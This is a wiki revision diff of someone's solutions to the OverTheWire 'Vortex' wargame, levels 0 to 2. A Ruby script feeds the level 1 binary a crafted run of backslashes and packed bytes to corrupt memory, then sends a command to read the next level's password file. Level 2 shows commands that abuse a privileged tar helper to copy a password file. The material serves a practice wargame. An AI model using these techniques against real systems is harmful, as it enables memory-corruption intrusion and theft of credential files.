Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
security:over_the_wire:vortex [14 years ago - 2011/10/18 16:04] aogailsecurity:over_the_wire:vortex [14 years ago - 2011/10/21 20:43] (current) aogail
Line 3: Line 3:
 ===== Level 0 ===== ===== Level 0 =====
  
-<code ruby>+<code ruby level0.rb>
 require 'socket' require 'socket'
  
Line 18: Line 18:
 ===== Level 1 ===== ===== Level 1 =====
  
-<code ruby>+<code ruby level1.rb>
 require 'pty' require 'pty'
 + 
 begin begin
   PTY.spawn("/vortex/level1") do |stdin, stdout, pid|   PTY.spawn("/vortex/level1") do |stdin, stdout, pid|
 +    stdin.sync = true
 +    reader = Thread.new {
 +      STDOUT.sync = true
 +      STDOUT.write(stdin.read(1)) until stdin.eof?
 +    }
     257.times {stdout.write "\\"}     257.times {stdout.write "\\"}
     1.times {stdout.write [0xca].pack('V')}     1.times {stdout.write [0xca].pack('V')}
     1.times {stdout.write "\\"}     1.times {stdout.write "\\"}
     1.times {stdout.write [0xff].pack('V')}     1.times {stdout.write [0xff].pack('V')}
-    reader = Thread.new { +    sleep 0.25 
-      STDOUT.sync = true +    stdout.puts 
-      STDOUT.write(stdin.readline) until stdin.eof? +    sleep 0.25 
-      puts 'Exiting reader' +    stdout.write "cat /etc/vortex_pass/vortex2\n" 
-    } +    sleep 0.25
-    stdout.write "cat /etc/vortex_pass/vortex1\n"+
   end   end
 rescue => e rescue => e
Line 39: Line 43:
 </code> </code>
  
-23anbT\rE+===== Level 2 ===== 
 + 
 +<code bash> 
 +/vortex/level2 /etc/vortex_pass/vortex3 
 +cat '/tmp/ownership.$$.tar' 
 +</code>